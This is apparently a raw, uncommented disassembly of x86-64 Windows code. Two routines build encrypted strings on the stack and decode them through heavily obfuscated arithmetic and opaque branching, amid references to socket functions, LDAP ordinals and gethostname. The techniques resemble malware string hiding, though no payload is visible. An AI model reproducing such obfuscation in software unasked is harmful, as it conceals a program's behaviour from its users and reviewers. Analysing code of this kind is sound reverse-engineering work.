mov dword [rsp + 0x30], 0x7a607530
mov dword [rsp + 0x34], 0x39647062
mov dword [rsp + 0x38], 0x7a3a3736
mov dword [rsp + 0x3c], 0x773e7170
mov dword [rsp + 0x40], 0xf060f01
mov dword [rsp + 0x44], 0x4461601
mov dword [rsp + 0x48], 0xe190604
mov dword [rsp + 0x4c], 0xafa45208
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x60], ax
mov byte [rsp + 0x62], al
movabs r14, 0x49fa7ebd2d20
movabs r12, 0x205d9772c3be0
movabs r15, 0xddef7c378760
movzx edx, byte [rbp + 0x148]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x14010e2dd
movzx r11d, byte [rsp + rbx + 0x20]
mov edi, r11d
cmp r8, rbx
ja 0x14010e2d1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010db30
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x20
jmp 0x14010db69
je 0x14010e25f
inc rax
cmp r8, rax
je 0x14010e1de
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010e18a
lea rax, [r9 + 7]
cmp r8, rax
je 0x14010e16b
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010e125
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x14010e2c5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010db99
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x14010dbd2
je 0x14010df91
inc rax
cmp r8, rax
je 0x14010dfb4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010dfe3
lea rax, [r9 + 7]
cmp r8, rax
je 0x14010e00c
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010e036
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14010de38
nop
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010de1e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14010de00
lea rcx, [r9 + 0x20]
cmp r8, rcx
je 0x14010ddda
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010ddbd
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14010dda1
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x14010e2a5
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x14010e289
lea rcx, [r9 + 6]
cmp r8, rcx
jb 0x14010dcf4
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14010dcd7
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14010dcba
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14010dd7e
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14010dd5e
lea rcx, [r9 + 1]
cmp r8, rcx
ja 0x14010dd41
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010dd25
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14010dd10
mov r8, rcx
lea r9, [rcx + 0x61]
jmp 0x14010dbe0
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14010dbd2
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14010db70
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
jmp 0x14010db05
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
jmp 0x14010e1c3
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x14010e1c6
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
jmp 0x14010e1f8
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010e222
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
movzx eax, byte [rsp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010daf2
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x14010e1c3
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
jmp 0x14010e1a3
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14010daf2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
inc r9
dec rbx
inc rbx
jmp 0x14010daf2
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x14010e141
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010dece
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r8 + r9]
cmp rax, 6
je 0x14010e10d
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14010df8f
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
cmp r8, 1
jae 0x14010e0f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010e060
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
movzx eax, byte [rsp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010daf2
jne 0x14010defe
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rsp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010daf2
inc rax
cmp r8, rax
jne 0x14010df20
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x14010e1f8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010df49
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010e1c3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010df74
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
dec rbx
inc rbx
jmp 0x14010daf2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010de5d
lea edx, [r10 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010e132
jne 0x14010dfab
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x14010e141
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010dfda
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14010daf2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010e003
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010e1c6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010e029
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14010e1f8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14010de8d
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
movzx eax, byte [rsp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010daf2
inc rax
cmp r8, rax
jne 0x14010e084
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x14010e222
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010e0a4
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, r11b
jmp 0x14010e1f8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010e0c7
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
jmp 0x14010e141
cmp r9, 0x61
jb 0x14010e0e7
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x80]
jmp 0x14010e141
mov byte [rsp + rbx + 0x20], dl
inc rbx
jmp 0x14010daf2
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
add dl, r11b
add dl, r11b
jmp 0x14010e1a3
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
jmp 0x14010e1f6
movzx r10d, bl
lea edx, [r10 + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x20
add r11b, r10b
mov byte [rsp + rbx + 0x20], r11b
inc r9
dec rbx
inc rbx
jmp 0x14010daf2
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x14010daf2
movzx r10d, bl
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
add cl, r10b
mov byte [rsp + rbx + 0x20], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010daf2
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x20
movzx r10d, bl
add dl, cl
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rsp + rbx + 0x20], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x80
add cl, r11b
mov byte [rsp + rbx + 0x20], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rsp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010daf2
lea rcx, [rbx + r15]
and dil, cl
mov eax, Ordinal_50
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, byte [rsp + rbx + 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010daf2
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
jmp 0x14010daf0
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010dae0
lea rdx, [rbp + 0x15a50a0]
jmp 0x14010edfb
lea rdx, [rbp + 0x1577dc0]
jmp 0x14010edfb
lea rdx, [rsp + 0x20]
jmp 0x14010edfb
mov rcx, r15
call fcn.140109e10
test al, al
jne 0x14010ee5f
mov dword [rbp + 0x50], 0x5f5b4c76
mov dword [rbp + 0x54], 0x53864545
mov dword [rbp + 0x58], 0x42408557
mov dword [rbp + 0x5c], 0x5b9e5d4a
mov dword [rbp + 0x60], 0x5638444a
mov dword [rbp + 0x64], 0xb7a89046
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], rax
mov word [rbp + 0x80], ax
mov byte [rbp + 0x82], al
movabs rsi, 0xa7693d1d4f3f0466
movabs r15, 0x93e0abcd2ab91eca
movabs r14, 0xf63bb757edbd0d32
movzx edx, byte [rbp + 0x148]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x14010edf7
movzx r10d, byte [rbp + rbx + 0x50]
mov edi, r10d
cmp r8, rbx
ja 0x14010edee
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010e3b0
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x36
jmp 0x14010e3ea
je 0x14010ed82
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010ed05
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010ecaf
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010ec8d
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010ec47
movzx r11d, bl
nop
cmp r9, rbx
ja 0x14010ede5
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14010e41f
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14010e460
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010ec30
inc rax
cmp r8, rax
je 0x14010ec15
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010ebf9
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010ebde
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010ebc0
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14010e9a3
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14010e995
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14010e970
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14010e94a
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010e92f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14010e913
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14010e8f3
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010e8d9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010e8b9
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010e88f
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14010e470
lea r8, [r9 + 9]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14010edc9
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14010eda9
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14010e660
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14010e644
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14010e627
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14010e846
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010e7fc
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14010e7bf
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14010e798
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14010e470
lea r8, [r9 + 4]
lea r9, [r8 + 9]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14010e76a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14010e74a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14010e730
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14010e710
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14010e6f4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010e6d9
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14010e6b7
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14010e68e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14010e680
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14010e470
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x1000]
jmp 0x14010e470
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14010e460
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1a
add dl, cl
jmp 0x14010e3f0
sub r11b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010e385
lea edx, [r11 - 0x10]
mov ecx, gethostname
jmp 0x14010ec54
add r11b, 0x24
movzx eax, r10b
and al, r11b
mov ecx, 2
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x14010e372
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x68
dec rbx
inc rbx
jmp 0x14010e372
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010ecc8
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x14010ecea
sub r11b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010eced
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x18
jmp 0x14010ed1e
add r11b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010ed48
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010e372
sub r11b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x50], dl
inc rbx
jmp 0x14010e372
lea edx, [r11 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6a
add dl, cl
cmp r9, 0x64
jb 0x14010e7b3
lea edx, [r11 - 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x14010ec63
lea edx, [r11 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r8, 0x400
jae 0x14010eb8b
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14010eaa4
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010e7d4
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x42
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x14010eba8
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x14010ea45
lea edx, [r11 + 0x4e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x22
jmp 0x14010e812
add r11b, 0x34
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6c
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010e372
add r11b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010ed48
lea edx, [r11 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x44
jmp 0x14010ed1e
sub r11b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010eced
add r11b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
jmp 0x14010ecea
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010ecc8
add r11b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14010e372
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
inc r9
dec rbx
inc rbx
jmp 0x14010e372
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14010ec54
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14010e9c7
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010e85b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010e9fa
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x24
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010e372
inc rax
cmp r8, rax
jne 0x14010ea1c
lea edx, [r11 + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4c
jmp 0x14010ed1e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010e85d
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
jmp 0x14010ecea
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14010ea5c
lea edx, [r11 + 0x1a]
mov ecx, Ordinal_41
jmp 0x14010ec54
cmp r8, rax
jne 0x14010ea7d
add r11b, 0x4a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 6
jmp 0x14010ecea
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14010e814
lea edx, [r11 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2e
jmp 0x14010ed1e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010ead7
add r11b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010e372
inc rax
cmp r8, rax
jne 0x14010eaff
add r11b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010ed48
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010eb22
lea edx, [r11 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x70
jmp 0x14010ed1e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010eb47
sub r11b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x14010eced
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010eb70
sub r11b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010ecea
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14010e7d6
lea edx, [r11 - 0x28]
mov ecx, recv
jmp 0x14010ec54
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, r10b
sub dl, 0x10
jmp 0x14010ecc8
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
jmp 0x14010ed1e
sub r11b, 0x42
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x32
add dl, r11b
jmp 0x14010ed48
lea edx, [r11 - 0xe]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010ed1e
add r11b, 0x5a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x76
jmp 0x14010ecea
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14010ecc8
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x26
jmp 0x14010ec61
movzx r11d, bl
lea edx, [r11 - 0x6e]
mov ecx, 1
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
add r11b, 0xa
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x46
add r10b, r11b
mov byte [rbp + rbx + 0x50], r10b
inc r9
dec rbx
inc rbx
jmp 0x14010e372
lea edx, [rbx - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec rbx
inc rbx
jmp 0x14010e372
movzx r11d, bl
lea edx, [r11 + 0x2e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x42
add dl, cl
sub r11b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x50], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010e372
lea rcx, [rbx + r15]
and dil, cl
mov eax, 0x3d
sub al, dil
lea edx, [rax + rax]
add dl, r10b
movzx r11d, bl
add dl, cl
sub r11b, 0x5e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x6e
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rbx + 0x50], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x38
add cl, r10b
mov byte [rbp + rbx + 0x50], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010e372
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
sub dl, 0x5e
movzx eax, byte [rbp + rbx + 0x50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14010e372
sub r11b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14010e370
add r11b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5e
jmp 0x14010e360
lea rdx, [rbp + 0x156f4d8]
jmp 0x14010edfb
lea rdx, [rbp + 0x55f93e]
jmp 0x14010edfb
lea rdx, [rbp + 0x50]
mov rcx, qword [0x14022c178]
call fcn.1400648b0
nop
lea rcx, [rbp + 0x188]
call fcn.140045e50
lea rcx, [rbp + 0x170]
call fcn.140045e50
nop
lea rcx, [rbp + 0x150]
call fcn.140045e50
xor al, al
mov rcx, qword [rbp + 0x2f0]
xor rcx, rsp
call fcn.140196270
lea r11, [rsp + 0x400]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x188]
call fcn.140045e50
lea rcx, [rbp + 0x170]
call fcn.140045e50
nop
lea rcx, [rbp + 0x150]
call fcn.140045e50
xor edx, edx
